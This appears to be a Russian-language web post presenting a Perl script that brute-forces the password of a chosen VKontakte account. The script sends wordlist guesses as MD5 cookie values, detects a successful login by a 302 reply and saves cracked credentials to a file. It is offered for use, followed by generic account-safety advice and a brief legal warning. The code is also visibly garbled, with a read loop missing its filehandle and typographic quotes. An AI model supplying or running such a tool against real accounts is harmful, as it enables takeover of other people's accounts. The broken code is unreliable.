Данный скрипт написан на perl и не каждый сможет им воспользоваться. Он перебирает пароли к контакту.
список паролей должен находиться в файле: passl.txt

#!/usr/bin/perl

use IO::Socket;
use MD5;
use threads;
use threads::shared;
my @pass : shared;

######################################
# C!klodoL
# vkontakte.ru bruteforce with multi-threads
######################################
$dic = ‘passl.txt’; #словарь паролей
$id = 111111; #id цели
$mail = ‘mail%40mail.com’; #мыло, вместо @ вписать %40
$threads = 4; #количество потоков
######################################

open (pass, “<$dic”);

Next:
@pass = pass();

for(0..$threads) {$trl[$_] = threads->create(\&Brut, $_);}
for(@trl) { $_->join; }

sub Brut
{

while

(@pass){

$pass = shift @pass;

$md5 = MD5->hexhash($pass);
$sock = IO::Socket::INET->new(Proto=>’tcp’,PeerAddr=>’vkontakte.ru’,PeerPort=>80);
print $sock “HEAD http://vkontakte.ru/ HTTP/1.0\r\n”.
“Host: vkontakte.ru\r\n”.
“Accept: */*\r\n”.
“Content-Type: application/x-www-form-urlencoded\r\n”.
“User-Agent: Mozillo\r\n”.
“Cookie: remixchk=2; remixmid=$id; remixemail=$mail; remixpass=$md5\r\n”.

“Connection: close\r\n\r\n”;
$answ = <$sock>;
close $sock;
print “$pass $answ”;
if ($answ =~ /302/){
open (good, ‘>>good.txt’);
print good “$id:$pass:$md5\n”;
print “$id:$pass:$md5\n”;
close good;
exit;}
}

}

goto Next;

sub pass
{
my (@mas);
while (
){
push @mas, $_;
last if (@mas == 400);
}
chomp @mas;
return @mas;
}

В принципе, защитить свой аккаунт на вконтакте, практически невозможно. Вам вряд ли поможет постоянное изменение пароля и чистка cookie, так как взлом можно сделать и без них. Кроме этого, написано большое количество вирусов, которые воруют данные, как из вашего компьютера, так и из браузера. Чтобы хоть как-то обезопасить себя от возможной кражи аккаунта, будьте бдительны, не давайте свой пароль и логин посторонним (даже знакомым, по статистике, большинство взломов делают именно они). Лучшее средство от кражи или взлома аккаунта: не заводите себе врагов, которые могут захотеть испортить Вам жизнь или настроение. К слову, компьютер, лучше всего защищать антивирусом (в принципе роли не играет, какой Вы антивирус используете, главное вовремя проверять компьютер на наличие вирусов).
Существуют вирусы, предназначенные для кражи паролей и логинов, некоторые антивирусы не видят этих вирусов, поэтому лучше всего, использовать несколько антивирусов, комбинируя их работу. Так же, лучше всего хранить логины и пароли в неэлектронном виде, например: в блокноте.

Для тех, кто решил купить взлом: лучше не тратьте деньги, просто попробуйте научиться, что-то делать сами, без посторонней помощи. Однако Вы должны помнить о том, что взлом наказуем, существуют законы, которые предусматривают срок заключения для тех, кто занимается взломом сайтов и аккаунтов.